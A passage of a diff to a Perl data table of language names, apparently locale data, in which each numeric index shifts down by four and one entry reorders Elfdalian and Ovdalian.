       ],
-   q(5041) => [
+   q(5037) => [
       q(Nen),
       ],
-   q(5042) => [
+   q(5038) => [
       q(Kyan-Karyaw Naga),
       ],
-   q(5043) => [
+   q(5039) => [
       q(Akyaung Ari Naga),
       ],
-   q(5044) => [
+   q(5040) => [
       q(Ngom),
       ],
-   q(5045) => [
+   q(5041) => [
       q(Nara),
       ],
-   q(5046) => [
+   q(5042) => [
       q(Noric),
       ],
-   q(5047) => [
+   q(5043) => [
       q(Southern Rengma Naga),
       ],
-   q(5048) => [
+   q(5044) => [
       q(Jerriais),
       q(Guernesiais),
       ],
-   q(5049) => [
+   q(5045) => [
       q(Narango),
       ],
-   q(5050) => [
+   q(5046) => [
       q(Chokri Naga),
       ],
-   q(5051) => [
+   q(5047) => [
       q(Ngarla),
       ],
-   q(5052) => [
+   q(5048) => [
       q(Ngarluma),
       ],
-   q(5053) => [
+   q(5049) => [
       q(Narom),
       ],
-   q(5054) => [
+   q(5050) => [
       q(Norn),
       ],
-   q(5055) => [
+   q(5051) => [
       q(North Picene),
       ],
-   q(5056) => [
+   q(5052) => [
       q(Norra),
       q(Nora),
       ],
-   q(5057) => [
+   q(5053) => [
       q(Northern Kalapuya),
       ],
-   q(5058) => [
+   q(5054) => [
       q(Narua),
       ],
-   q(5059) => [
+   q(5055) => [
       q(Ngurmbur),
       ],
-   q(5060) => [
+   q(5056) => [
       q(Lala),
       ],
-   q(5061) => [
+   q(5057) => [
       q(Sangtam Naga),
       ],
-   q(5062) => [
+   q(5058) => [
       q(Nshi),
       ],
-   q(5063) => [
+   q(5059) => [
       q(Southern Nisu),
       ],
-   q(5064) => [
+   q(5060) => [
       q(Nsenga),
       ],
-   q(5065) => [
+   q(5061) => [
       q(Northwestern Nisu),
       ],
-   q(5066) => [
+   q(5062) => [
       q(Ngasa),
       ],
-   q(5067) => [
+   q(5063) => [
       q(Ngoshie),
       ],
-   q(5068) => [
+   q(5064) => [
       q(Nigerian Sign Language),
       ],
-   q(5069) => [
+   q(5065) => [
       q(Naskapi),
       ],
-   q(5070) => [
+   q(5066) => [
       q(Norwegian Sign Language),
       ],
-   q(5071) => [
+   q(5067) => [
       q(Sumi Naga),
       ],
-   q(5072) => [
+   q(5068) => [
       q(Nehan),
       ],
-   q(5073) => [
+   q(5069) => [
       q(Nepalese Sign Language),
       ],
-   q(5074) => [
+   q(5070) => [
       q(Northern Sierra Miwok),
       ],
-   q(5075) => [
+   q(5071) => [
       q(Maritime Sign Language),
       ],
-   q(5076) => [
+   q(5072) => [
       q(Nali),
       ],
-   q(5077) => [
+   q(5073) => [
       q(Tase Naga),
       ],
-   q(5078) => [
+   q(5074) => [
       q(Sierra Negra Nahuatl),
       ],
-   q(5079) => [
+   q(5075) => [
       q(Southwestern Nisu),
       ],
-   q(5080) => [
+   q(5076) => [
       q(Navut),
       ],
-   q(5081) => [
+   q(5077) => [
       q(Nsongo),
       ],
-   q(5082) => [
+   q(5078) => [
       q(Nasal),
       ],
-   q(5083) => [
+   q(5079) => [
       q(Nisenan),
       ],
-   q(5084) => [
+   q(5080) => [
       q(Northern Tidung),
       ],
-   q(5085) => [
+   q(5081) => [
       q(Nathembo),
       ],
-   q(5086) => [
+   q(5082) => [
       q(Ngantangarra),
       ],
-   q(5087) => [
+   q(5083) => [
       q(Natioro),
       ],
-   q(5088) => [
+   q(5084) => [
       q(Ngaanyatjarra),
       ],
-   q(5089) => [
+   q(5085) => [
       q(Ikoma-Nata-Isenye),
       ],
-   q(5090) => [
+   q(5086) => [
       q(Nateni),
       ],
-   q(5091) => [
+   q(5087) => [
       q(Ntomba),
       ],
-   q(5092) => [
+   q(5088) => [
       q(Northern Tepehuan),
       ],
-   q(5093) => [
+   q(5089) => [
       q(Delo),
       ],
-   q(5094) => [
+   q(5090) => [
       q(Natugu),
       ],
-   q(5095) => [
+   q(5091) => [
       q(Nottoway),
       ],
-   q(5096) => [
+   q(5092) => [
       q(Tangkhul Naga (Myanmar)),
       ],
-   q(5097) => [
+   q(5093) => [
       q(Mantsi),
       ],
-   q(5098) => [
+   q(5094) => [
       q(Natanzi),
       ],
-   q(5099) => [
+   q(5095) => [
       q(Yuanga),
       ],
-   q(5100) => [
+   q(5096) => [
       q(Nukuini),
       ],
-   q(5101) => [
+   q(5097) => [
       q(Ngala),
       ],
-   q(5102) => [
+   q(5098) => [
       q(Ngundu),
       ],
-   q(5103) => [
+   q(5099) => [
       q(Nusu),
       ],
-   q(5104) => [
+   q(5100) => [
       q(Nungali),
       ],
-   q(5105) => [
+   q(5101) => [
       q(Ndunda),
       ],
-   q(5106) => [
+   q(5102) => [
       q(Ngumbi),
       ],
-   q(5107) => [
+   q(5103) => [
       q(Nyole),
       ],
-   q(5108) => [
+   q(5104) => [
       q(Nuu-chah-nulth),
       q(Nuuchahnulth),
       ],
-   q(5109) => [
+   q(5105) => [
       q(Nusa Laut),
       ],
-   q(5110) => [
+   q(5106) => [
       q(Niuafo'ou),
       ],
-   q(5111) => [
+   q(5107) => [
       q(Anong),
       ],
-   q(5112) => [
+   q(5108) => [
       q(Nguon),
       ],
-   q(5113) => [
+   q(5109) => [
       q(Nupe-Nupe-Tako),
       ],
-   q(5114) => [
+   q(5110) => [
       q(Nukumanu),
       ],
-   q(5115) => [
+   q(5111) => [
       q(Nukuria),
       ],
-   q(5116) => [
+   q(5112) => [
       q(Nuer),
       ],
-   q(5117) => [
+   q(5113) => [
       q(Nung (Viet Nam)),
       ],
-   q(5118) => [
+   q(5114) => [
       q(Ngbundu),
       ],
-   q(5119) => [
+   q(5115) => [
       q(Northern Nuni),
       ],
-   q(5120) => [
+   q(5116) => [
       q(Nguluwan),
       ],
-   q(5121) => [
+   q(5117) => [
       q(Mehek),
       ],
-   q(5122) => [
+   q(5118) => [
       q(Nunggubuyu),
       ],
-   q(5123) => [
+   q(5119) => [
       q(Tlamacazapa Nahuatl),
       ],
-   q(5124) => [
+   q(5120) => [
       q(Nasarian),
       ],
-   q(5125) => [
+   q(5121) => [
       q(Namiae),
       ],
-   q(5126) => [
+   q(5122) => [
       q(Nyokon),
       ],
-   q(5127) => [
+   q(5123) => [
       q(Nawathinehena),
       ],
-   q(5128) => [
+   q(5124) => [
       q(Nyabwa),
       ],
-   q(5129) => [
+   q(5125) => [
       q(Ngwe),
       ],
-   q(5130) => [
+   q(5126) => [
       q(Ngayawung),
       ],
-   q(5131) => [
+   q(5127) => [
       q(Southwest Tanna),
       ],
-   q(5132) => [
+   q(5128) => [
       q(Nyamusa-Molo),
       ],
-   q(5133) => [
+   q(5129) => [
       q(Nauo),
       ],
-   q(5134) => [
+   q(5130) => [
       q(Nawaru),
       ],
-   q(5135) => [
+   q(5131) => [
       q(Middle Newar),
       ],
-   q(5136) => [
+   q(5132) => [
       q(Nottoway-Meherrin),
       ],
-   q(5137) => [
+   q(5133) => [
       q(Nauete),
       ],
-   q(5138) => [
+   q(5134) => [
       q(Ngando (Democratic Republic of Congo)),
       ],
-   q(5139) => [
+   q(5135) => [
       q(Nage),
       ],
-   q(5140) => [
+   q(5136) => [
       q(Ngad'a),
       ],
-   q(5141) => [
+   q(5137) => [
       q(Nindi),
       ],
-   q(5142) => [
+   q(5138) => [
       q(Koki Naga),
       ],
-   q(5143) => [
+   q(5139) => [
       q(South Nuaulu),
       ],
-   q(5144) => [
+   q(5140) => [
       q(Numidian),
       ],
-   q(5145) => [
+   q(5141) => [
       q(Ngawun),
       ],
-   q(5146) => [
+   q(5142) => [
       q(Ndambomo),
       ],
-   q(5147) => [
+   q(5143) => [
       q(Naxi),
       ],
-   q(5148) => [
+   q(5144) => [
       q(Ninggerum),
       ],
-   q(5149) => [
+   q(5145) => [
       q(Narau),
       ],
-   q(5150) => [
+   q(5146) => [
       q(Nafri),
       ],
-   q(5151) => [
+   q(5147) => [
       q(Nyangbo),
       ],
-   q(5152) => [
+   q(5148) => [
       q(Nyanga-li),
       ],
-   q(5153) => [
+   q(5149) => [
       q(Nyore),
       q(Olunyole),
       ],
-   q(5154) => [
+   q(5150) => [
       q(Nyengo),
       ],
-   q(5155) => [
+   q(5151) => [
       q(Giryama),
       q(Kigiryama),
       ],
-   q(5156) => [
+   q(5152) => [
       q(Nyindu),
       ],
-   q(5157) => [
+   q(5153) => [
       q(Nyigina),
       ],
-   q(5158) => [
+   q(5154) => [
       q(Ama (Sudan)),
       ],
-   q(5159) => [
+   q(5155) => [
       q(Nyanga),
       ],
-   q(5160) => [
+   q(5156) => [
       q(Nyaneka),
       ],
-   q(5161) => [
+   q(5157) => [
       q(Nyeu),
       ],
-   q(5162) => [
+   q(5158) => [
       q(Nyang'i),
       ],
-   q(5163) => [
+   q(5159) => [
       q(Nayini),
       ],
-   q(5164) => [
+   q(5160) => [
       q(Nyiha (Malawi)),
       ],
-   q(5165) => [
+   q(5161) => [
       q(Nyunga),
       ],
-   q(5166) => [
+   q(5162) => [
       q(Nyawaygi),
       ],
-   q(5167) => [
+   q(5163) => [
       q(Nyungwe),
       ],
-   q(5168) => [
+   q(5164) => [
       q(Nyulnyul),
       ],
-   q(5169) => [
+   q(5165) => [
       q(Nyaw),
       ],
-   q(5170) => [
+   q(5166) => [
       q(Nganyaywana),
       ],
-   q(5171) => [
+   q(5167) => [
       q(Nyakyusa-Ngonde),
       ],
-   q(5172) => [
+   q(5168) => [
       q(Tigon Mbembe),
       ],
-   q(5173) => [
+   q(5169) => [
       q(Njebi),
       ],
-   q(5174) => [
+   q(5170) => [
       q(Nzakara),
       ],
-   q(5175) => [
+   q(5171) => [
       q(Zeme Naga),
       ],
-   q(5176) => [
+   q(5172) => [
       q(New Zealand Sign Language),
       ],
-   q(5177) => [
+   q(5173) => [
       q(Teke-Nzikou),
       ],
-   q(5178) => [
+   q(5174) => [
       q(Nzakambay),
       ],
-   q(5179) => [
+   q(5175) => [
       q(Nanga Dama Dogon),
       ],
-   q(5180) => [
+   q(5176) => [
       q(Orok),
       ],
-   q(5181) => [
+   q(5177) => [
       q(Oroch),
       ],
-   q(5182) => [
+   q(5178) => [
       q(Old Aramaic (up to 700 BCE)),
       q(Ancient Aramaic (up to 700 BCE)),
       ],
-   q(5183) => [
+   q(5179) => [
       q(Old Avar),
       ],
-   q(5184) => [
+   q(5180) => [
       q(Obispeno),
       ],
-   q(5185) => [
+   q(5181) => [
       q(Southern Bontok),
       ],
-   q(5186) => [
+   q(5182) => [
       q(Oblo),
       ],
-   q(5187) => [
+   q(5183) => [
       q(Moabite),
       ],
-   q(5188) => [
+   q(5184) => [
       q(Obo Manobo),
       ],
-   q(5189) => [
+   q(5185) => [
       q(Old Burmese),
       ],
-   q(5190) => [
+   q(5186) => [
       q(Old Breton),
       ],
-   q(5191) => [
+   q(5187) => [
       q(Obulom),
       ],
-   q(5192) => [
+   q(5188) => [
       q(Ocaina),
       ],
-   q(5193) => [
+   q(5189) => [
       q(Old Chinese),
       ],
-   q(5194) => [
+   q(5190) => [
       q(Old Cornish),
       ],
-   q(5195) => [
+   q(5191) => [
       q(Atzingo Matlatzinca),
       ],
-   q(5196) => [
+   q(5192) => [
       q(Odut),
       ],
-   q(5197) => [
+   q(5193) => [
       q(Od),
       ],
-   q(5198) => [
+   q(5194) => [
       q(Old Dutch),
       ],
-   q(5199) => [
+   q(5195) => [
       q(Odual),
       ],
-   q(5200) => [
+   q(5196) => [
       q(Ofo),
       ],
-   q(5201) => [
+   q(5197) => [
       q(Old Frisian),
       ],
-   q(5202) => [
+   q(5198) => [
       q(Efutop),
       ],
-   q(5203) => [
+   q(5199) => [
       q(Ogbia),
       ],
-   q(5204) => [
+   q(5200) => [
       q(Ogbah),
       ],
-   q(5205) => [
+   q(5201) => [
       q(Old Georgian),
       ],
-   q(5206) => [
+   q(5202) => [
       q(Ogbogolo),
       ],
-   q(5207) => [
+   q(5203) => [
       q(Khana),
       ],
-   q(5208) => [
+   q(5204) => [
       q(Ogbronuagum),
       ],
-   q(5209) => [
+   q(5205) => [
       q(Old Hittite),
       ],
-   q(5210) => [
+   q(5206) => [
       q(Old Hungarian),
       ],
-   q(5211) => [
+   q(5207) => [
       q(Oirata),
       ],
-   q(5212) => [
+   q(5208) => [
       q(Inebu One),
       ],
-   q(5213) => [
+   q(5209) => [
       q(Northwestern Ojibwa),
       ],
-   q(5214) => [
+   q(5210) => [
       q(Central Ojibwa),
       ],
-   q(5215) => [
+   q(5211) => [
       q(Eastern Ojibwa),
       ],
-   q(5216) => [
+   q(5212) => [
       q(Old Japanese),
       ],
-   q(5217) => [
+   q(5213) => [
       q(Severn Ojibwa),
       ],
-   q(5218) => [
+   q(5214) => [
       q(Ontong Java),
       ],
-   q(5219) => [
+   q(5215) => [
       q(Western Ojibwa),
       ],
-   q(5220) => [
+   q(5216) => [
       q(Okanagan),
       ],
-   q(5221) => [
+   q(5217) => [
       q(Okobo),
       ],
-   q(5222) => [
+   q(5218) => [
       q(Okodia),
       ],
-   q(5223) => [
+   q(5219) => [
       q(Okpe (Southwestern Edo)),
       ],
-   q(5224) => [
+   q(5220) => [
       q(Koko Babangk),
       ],
-   q(5225) => [
+   q(5221) => [
       q(Koresh-e Rostam),
       ],
-   q(5226) => [
+   q(5222) => [
       q(Okiek),
       ],
-   q(5227) => [
+   q(5223) => [
       q(Oko-Juwoi),
       ],
-   q(5228) => [
+   q(5224) => [
       q(Kwamtim One),
       ],
-   q(5229) => [
+   q(5225) => [
       q(Old Kentish Sign Language),
       ],
-   q(5230) => [
+   q(5226) => [
       q(Middle Korean (10th-16th cent.)),
       ],
-   q(5231) => [
+   q(5227) => [
       q(Oki-No-Erabu),
       ],
-   q(5232) => [
+   q(5228) => [
       q(Old Korean (3rd-9th cent.)),
       ],
-   q(5233) => [
+   q(5229) => [
       q(Kirike),
       ],
-   q(5234) => [
+   q(5230) => [
       q(Oko-Eni-Osayen),
       ],
-   q(5235) => [
+   q(5231) => [
       q(Oku),
       ],
-   q(5236) => [
+   q(5232) => [
       q(Orokaiva),
       ],
-   q(5237) => [
+   q(5233) => [
       q(Okpe (Northwestern Edo)),
       ],
-   q(5238) => [
+   q(5234) => [
       q(Walungge),
       ],
-   q(5239) => [
+   q(5235) => [
       q(Mochi),
       ],
-   q(5240) => [
+   q(5236) => [
       q(Olekha),
       ],
-   q(5241) => [
+   q(5237) => [
       q(Olkol),
       ],
-   q(5242) => [
+   q(5238) => [
       q(Oloma),
       ],
-   q(5243) => [
+   q(5239) => [
       q(Livvi),
       ],
-   q(5244) => [
+   q(5240) => [
       q(Olrat),
       ],
-   q(5245) => [
+   q(5241) => [
       q(Old Lithuanian),
       ],
-   q(5246) => [
+   q(5242) => [
       q(Kuvale),
       ],
-   q(5247) => [
+   q(5243) => [
       q(Omaha-Ponca),
       ],
-   q(5248) => [
+   q(5244) => [
       q(East Ambae),
       ],
-   q(5249) => [
+   q(5245) => [
       q(Mochica),
       ],
-   q(5250) => [
+   q(5246) => [
       q(Omagua),
       ],
-   q(5251) => [
+   q(5247) => [
       q(Omi),
       ],
-   q(5252) => [
+   q(5248) => [
       q(Omok),
       ],
-   q(5253) => [
+   q(5249) => [
       q(Ombo),
       ],
-   q(5254) => [
+   q(5250) => [
       q(Minoan),
       ],
-   q(5255) => [
+   q(5251) => [
       q(Utarmbung),
       ],
-   q(5256) => [
+   q(5252) => [
       q(Old Manipuri),
       ],
-   q(5257) => [
+   q(5253) => [
       q(Old Marathi),
       ],
-   q(5258) => [
+   q(5254) => [
       q(Omotik),
       ],
-   q(5259) => [
+   q(5255) => [
       q(Omurano),
       ],
-   q(5260) => [
+   q(5256) => [
       q(South Tairora),
       ],
-   q(5261) => [
+   q(5257) => [
       q(Old Mon),
       ],
-   q(5262) => [
+   q(5258) => [
       q(Ona),
       ],
-   q(5263) => [
+   q(5259) => [
       q(Lingao),
       ],
-   q(5264) => [
+   q(5260) => [
       q(Oneida),
       ],
-   q(5265) => [
+   q(5261) => [
       q(Olo),
       ],
-   q(5266) => [
+   q(5262) => [
       q(Onin),
       ],
-   q(5267) => [
+   q(5263) => [
       q(Onjob),
       ],
-   q(5268) => [
+   q(5264) => [
       q(Kabore One),
       ],
-   q(5269) => [
+   q(5265) => [
       q(Onobasulu),
       ],
-   q(5270) => [
+   q(5266) => [
       q(Onondaga),
       ],
-   q(5271) => [
+   q(5267) => [
       q(Sartang),
       ],
-   q(5272) => [
+   q(5268) => [
       q(Northern One),
       ],
-   q(5273) => [
+   q(5269) => [
       q(Ono),
       ],
-   q(5274) => [
+   q(5270) => [
       q(Ontenu),
       ],
-   q(5275) => [
+   q(5271) => [
       q(Unua),
       ],
-   q(5276) => [
+   q(5272) => [
       q(Old Nubian),
       ],
-   q(5277) => [
+   q(5273) => [
       q(Onin Based Pidgin),
       ],
-   q(5278) => [
+   q(5274) => [
       q(Tohono O'odham),
       ],
-   q(5279) => [
+   q(5275) => [
       q(Ong),
       ],
-   q(5280) => [
+   q(5276) => [
       q(Onge),
       ],
-   q(5281) => [
+   q(5277) => [
       q(Oorlams),
       ],
-   q(5282) => [
+   q(5278) => [
       q(Old Ossetic),
       ],
-   q(5283) => [
+   q(5279) => [
       q(Okpamheri),
       ],
-   q(5284) => [
+   q(5280) => [
       q(Kopkaka),
       ],
-   q(5285) => [
+   q(5281) => [
       q(Oksapmin),
       ],
-   q(5286) => [
+   q(5282) => [
       q(Opao),
       ],
-   q(5287) => [
+   q(5283) => [
       q(Opata),
       ],
-   q(5288) => [
+   q(5284) => [
       q(Ofaye),
       ],
-   q(5289) => [
+   q(5285) => [
       q(Oroha),
       ],
-   q(5290) => [
+   q(5286) => [
       q(Orma),
       ],
-   q(5291) => [
+   q(5287) => [
       q(Orejon),
       ],
-   q(5292) => [
+   q(5288) => [
       q(Oring),
       ],
-   q(5293) => [
+   q(5289) => [
       q(Oroqen),
       ],
-   q(5294) => [
+   q(5290) => [
       q(Orang Kanaq),
       ],
-   q(5295) => [
+   q(5291) => [
       q(Orokolo),
       ],
-   q(5296) => [
+   q(5292) => [
       q(Oruma),
       ],
-   q(5297) => [
+   q(5293) => [
       q(Orang Seletar),
       ],
-   q(5298) => [
+   q(5294) => [
       q(Adivasi Oriya),
       ],
-   q(5299) => [
+   q(5295) => [
       q(Ormuri),
       ],
-   q(5300) => [
+   q(5296) => [
       q(Old Russian),
       ],
-   q(5301) => [
+   q(5297) => [
       q(Oro Win),
       ],
-   q(5302) => [
+   q(5298) => [
       q(Oro),
       ],
-   q(5303) => [
+   q(5299) => [
       q(Odia (individual language)),
       q(Oriya (individual language)),
       ],
-   q(5304) => [
+   q(5300) => [
       q(Ormu),
       ],
-   q(5305) => [
+   q(5301) => [
       q(Oscan),
       ],
-   q(5306) => [
+   q(5302) => [
       q(Osing),
       ],
-   q(5307) => [
+   q(5303) => [
       q(Ososo),
       ],
-   q(5308) => [
+   q(5304) => [
       q(Old Spanish),
       ],
-   q(5309) => [
+   q(5305) => [
       q(Osatu),
       ],
-   q(5310) => [
+   q(5306) => [
       q(Southern One),
       ],
-   q(5311) => [
+   q(5307) => [
       q(Old Saxon),
       ],
-   q(5312) => [
+   q(5308) => [
       q(Old Tibetan),
       ],
-   q(5313) => [
+   q(5309) => [
       q(Ot Danum),
       ],
-   q(5314) => [
+   q(5310) => [
       q(Mezquital Otomi),
       ],
-   q(5315) => [
+   q(5311) => [
       q(Oti),
       ],
-   q(5316) => [
+   q(5312) => [
       q(Old Turkish),
       ],
-   q(5317) => [
+   q(5313) => [
       q(Tilapa Otomi),
       ],
-   q(5318) => [
+   q(5314) => [
       q(Eastern Highland Otomi),
       ],
-   q(5319) => [
+   q(5315) => [
       q(Tenango Otomi),
       ],
-   q(5320) => [
+   q(5316) => [
       q(Queretaro Otomi),
       ],
-   q(5321) => [
+   q(5317) => [
       q(Otoro),
       ],
-   q(5322) => [
+   q(5318) => [
       q(Estado de Mexico Otomi),
       ],
-   q(5323) => [
+   q(5319) => [
       q(Temoaya Otomi),
       ],
-   q(5324) => [
+   q(5320) => [
       q(Otuke),
       ],
-   q(5325) => [
+   q(5321) => [
       q(Ottawa),
       ],
-   q(5326) => [
+   q(5322) => [
       q(Texcatepec Otomi),
       ],
-   q(5327) => [
+   q(5323) => [
       q(Old Tamil),
       ],
-   q(5328) => [
+   q(5324) => [
       q(Ixtenco Otomi),
       ],
-   q(5329) => [
+   q(5325) => [
       q(Tagargrent),
       ],
-   q(5330) => [
+   q(5326) => [
       q(Glio-Oubi),
       ],
-   q(5331) => [
+   q(5327) => [
       q(Oune),
       ],
-   q(5332) => [
+   q(5328) => [
       q(Old Uighur),
       ],
-   q(5333) => [
+   q(5329) => [
       q(Ouma),
       ],
-   q(5334) => [
-      q(Elfdalian),
+   q(5330) => [
       q(Ovdalian),
+      q(Elfdalian),
       ],
-   q(5335) => [
+   q(5331) => [
       q(Owiniga),
       ],
-   q(5336) => [
+   q(5332) => [
       q(Old Welsh),
       ],
-   q(5337) => [
+   q(5333) => [
       q(Oy),
       ],
-   q(5338) => [
+   q(5334) => [
       q(Oyda),
       ],
-   q(5339) => [
+   q(5335) => [
       q(Wayampi),
       ],
-   q(5340) => [
+   q(5336) => [
       q(Oya'oya),
       ],
-   q(5341) => [
+   q(5337) => [
       q(Koonzime),
       ],
-   q(5342) => [
+   q(5338) => [
       q(Parecis),
       ],
-   q(5343) => [
+   q(5339) => [
       q(Pacoh),
       ],
-   q(5344) => [
+   q(5340) => [
       q(Paumari),
       ],
-   q(5345) => [
+   q(5341) => [
       q(Pagibete),
       ],
-   q(5346) => [
+   q(5342) => [
       q(Paranawat),
       ],
-   q(5347) => [
+   q(5343) => [
       q(Tenharim),
       ],
-   q(5348) => [
+   q(5344) => [
       q(Pe),
       ],
-   q(5349) => [
+   q(5345) => [
       q(Parakana),
       ],
-   q(5350) => [
+   q(5346) => [
       q(Northern Paiute),
       ],
-   q(5351) => [
+   q(5347) => [
       q(Parya),
       ],
-   q(5352) => [
+   q(5348) => [
       q(Panamint),
       q(Timbisha),
       ],
-   q(5353) => [
+   q(5349) => [
       q(Papasena),
       ],
-   q(5354) => [
+   q(5350) => [
       q(Papitalai),
       ],
-   q(5355) => [
+   q(5351) => [
       q(Pakaasnovos),
       ],
-   q(5356) => [
+   q(5352) => [
       q(Pawnee),
       ],
-   q(5357) => [
+   q(5353) => [
       q(Pankarare),
       ],
-   q(5358) => [
+   q(5354) => [
       q(Pech),
       ],
-   q(5359) => [
+   q(5355) => [
       q(Pankararu),
       ],
-   q(5360) => [
+   q(5356) => [
       q(Paez),
       ],
-   q(5361) => [
+   q(5357) => [
       q(Patamona),
       ],
-   q(5362) => [
+   q(5358) => [
       q(Mezontla Popoloca),
       ],
-   q(5363) => [
+   q(5359) => [
       q(Coyotepec Popoloca),
       ],
-   q(5364) => [
+   q(5360) => [
       q(Paraujano),
       ],
-   q(5365) => [
+   q(5361) => [
       q(E'napa Woromaipu),
       ],
-   q(5366) => [
+   q(5362) => [
       q(Parkwa),
       ],
-   q(5367) => [
+   q(5363) => [
       q(Mak (Nigeria)),
       ],
-   q(5368) => [
+   q(5364) => [
       q(Kpasam),
       ],
-   q(5369) => [
+   q(5365) => [
       q(Papel),
       ],
-   q(5370) => [
+   q(5366) => [
       q(Badyara),
       ],
-   q(5371) => [
+   q(5367) => [
       q(Pangwa),
       ],
-   q(5372) => [
+   q(5368) => [
       q(Central Pame),
       ],
-   q(5373) => [
+   q(5369) => [
       q(Southern Pashto),
       ],
-   q(5374) => [
+   q(5370) => [
       q(Northern Pashto),
       ],
-   q(5375) => [
+   q(5371) => [
       q(Pnar),
       ],
-   q(5376) => [
+   q(5372) => [
       q(Pyu (Papua New Guinea)),
       ],
-   q(5377) => [
+   q(5373) => [
       q(Santa Ines Ahuatempan Popoloca),
       ],
-   q(5378) => [
+   q(5374) => [
       q(Pear),
       ],
-   q(5379) => [
+   q(5375) => [
       q(Bouyei),
       ],
-   q(5380) => [
+   q(5376) => [
       q(Picard),
       ],
-   q(5381) => [
+   q(5377) => [
       q(Ruching Palaung),
       ],
-   q(5382) => [
+   q(5378) => [
       q(Paliyan),
       ],
-   q(5383) => [
+   q(5379) => [
       q(Paniya),
       ],
-   q(5384) => [
+   q(5380) => [
       q(Pardhan),
       ],
-   q(5385) => [
+   q(5381) => [
       q(Duruwa),
       ],
-   q(5386) => [
+   q(5382) => [
       q(Parenga),
       ],
-   q(5387) => [
+   q(5383) => [
       q(Paite Chin),
       ],
-   q(5388) => [
+   q(5384) => [
       q(Pardhi),
       ],
-   q(5389) => [
+   q(5385) => [
       q(Nigerian Pidgin),
       ],
-   q(5390) => [
+   q(5386) => [
       q(Piti),
       ],
-   q(5391) => [
+   q(5387) => [
       q(Pacahuara),
       ],
-   q(5392) => [
+   q(5388) => [
       q(Pyapun),
       ],
-   q(5393) => [
+   q(5389) => [
       q(Anam),
       ],
-   q(5394) => [
+   q(5390) => [
       q(Pennsylvania German),
       ],
-   q(5395) => [
+   q(5391) => [
       q(Pa Di),
       ],
-   q(5396) => [
+   q(5392) => [
       q(Podena),
       q(Fedan),
       ],
-   q(5397) => [
+   q(5393) => [
       q(Padoe),
       ],
-   q(5398) => [
+   q(5394) => [
       q(Plautdietsch),
       ],
-   q(5399) => [
+   q(5395) => [
       q(Kayan),
       ],
-   q(5400) => [
+   q(5396) => [
       q(Peranakan Indonesian),
       ],
-   q(5401) => [
+   q(5397) => [
       q(Eastern Pomo),
       ],
-   q(5402) => [
+   q(5398) => [
       q(Mala (Papua New Guinea)),
       ],
-   q(5403) => [
+   q(5399) => [
       q(Taje),
       ],
-   q(5404) => [
+   q(5400) => [
       q(Northeastern Pomo),
       ],
-   q(5405) => [
+   q(5401) => [
       q(Pengo),
       ],
-   q(5406) => [
+   q(5402) => [
       q(Bonan),
       ],
-   q(5407) => [
+   q(5403) => [
       q(Chichimeca-Jonaz),
       ],
-   q(5408) => [
+   q(5404) => [
       q(Northern Pomo),
       ],
-   q(5409) => [
+   q(5405) => [
       q(Penchal),
       ],
-   q(5410) => [
+   q(5406) => [
       q(Pekal),
       ],
-   q(5411) => [
+   q(5407) => [
       q(Phende),
       ],
-   q(5412) => [
+   q(5408) => [
       q(Kunja),
       ],
-   q(5413) => [
+   q(5409) => [
       q(Southern Pomo),
       ],
-   q(5414) => [
+   q(5410) => [
       q(Iranian Persian),
       ],
-   q(5415) => [
+   q(5411) => [
       q(Pemono),
       ],
-   q(5416) => [
+   q(5412) => [
       q(Petats),
       ],
-   q(5417) => [
+   q(5413) => [
       q(Petjo),
       ],
-   q(5418) => [
+   q(5414) => [
       q(Eastern Penan),
       ],
-   q(5419) => [
+   q(5415) => [
       q(Paafang),
       ],
-   q(5420) => [
+   q(5416) => [
       q(Peere),
       ],
-   q(5421) => [
+   q(5417) => [
       q(Pfaelzisch),
       ],
-   q(5422) => [
+   q(5418) => [
       q(Sudanese Creole Arabic),
       ],
-   q(5423) => [
+   q(5419) => [
       q(Gandhari),
       ],
-   q(5424) => [
+   q(5420) => [
       q(Pangwali),
       ],
-   q(5425) => [
+   q(5421) => [
       q(Pagi),
       ],
-   q(5426) => [
+   q(5422) => [
       q(Rerep),
       ],
-   q(5427) => [
+   q(5423) => [
       q(Primitive Irish),
       ],
-   q(5428) => [
+   q(5424) => [
       q(Paelignian),
       ],
-   q(5429) => [
+   q(5425) => [
       q(Pangseng),
       ],
-   q(5430) => [
+   q(5426) => [
       q(Pagu),
       ],
-   q(5431) => [
+   q(5427) => [
       q(Papua New Guinean Sign Language),
       ],
-   q(5432) => [
+   q(5428) => [
       q(Pa-Hng),
       ],
-   q(5433) => [
+   q(5429) => [
       q(Phudagi),
       ],
-   q(5434) => [
+   q(5430) => [
       q(Phuong),
       ],
-   q(5435) => [
+   q(5431) => [
       q(Phukha),
       ],
-   q(5436) => [
+   q(5432) => [
       q(Phake),
       ],
-   q(5437) => [
+   q(5433) => [
       q(Phalura),
       q(Palula),
       ],
-   q(5438) => [
+   q(5434) => [
       q(Phimbi),
       ],
-   q(5439) => [
+   q(5435) => [
       q(Phunoi),
       ],
-   q(5440) => [
+   q(5436) => [
       q(Phana'),
       ],
-   q(5441) => [
+   q(5437) => [
       q(Pahari-Potwari),
       ],
-   q(5442) => [
+   q(5438) => [
       q(Phu Thai),
       ],
-   q(5443) => [
+   q(5439) => [
       q(Phuan),
       ],
-   q(5444) => [
+   q(5440) => [
       q(Pahlavani),
       ],
-   q(5445) => [
+   q(5441) => [
       q(Phangduwali),
       ],
-   q(5446) => [
+   q(5442) => [
       q(Pima Bajo),
       ],
-   q(5447) => [
+   q(5443) => [
       q(Yine),
       ],
-   q(5448) => [
+   q(5444) => [
       q(Pinji),
       ],
-   q(5449) => [
+   q(5445) => [
       q(Piaroa),
       ],
-   q(5450) => [
+   q(5446) => [
       q(Piro),
       ],
-   q(5451) => [
+   q(5447) => [
       q(Pingelapese),
       ],
-   q(5452) => [
+   q(5448) => [
       q(Pisabo),
       ],
-   q(5453) => [
+   q(5449) => [
       q(Pitcairn-Norfolk),
       ],
-   q(5454) => [
+   q(5450) => [
       q(Pini),
       ],
-   q(5455) => [
+   q(5451) => [
       q(Pijao),
       ],
-   q(5456) => [
+   q(5452) => [
       q(Yom),
       ],
-   q(5457) => [
+   q(5453) => [
       q(Powhatan),
       ],
-   q(5458) => [
+   q(5454) => [
       q(Piame),
       ],
-   q(5459) => [
+   q(5455) => [
       q(Piapoco),
       ],
-   q(5460) => [
+   q(5456) => [
       q(Pero),
       ],
-   q(5461) => [
+   q(5457) => [
       q(Piratapuyo),
       ],
-   q(5462) => [
+   q(5458) => [
       q(Pijin),
       ],
-   q(5463) => [
+   q(5459) => [
       q(Pitta Pitta),
       ],
-   q(5464) => [
+   q(5460) => [
       q(Pintupi-Luritja),
       ],
-   q(5465) => [
+   q(5461) => [
       q(Pileni),
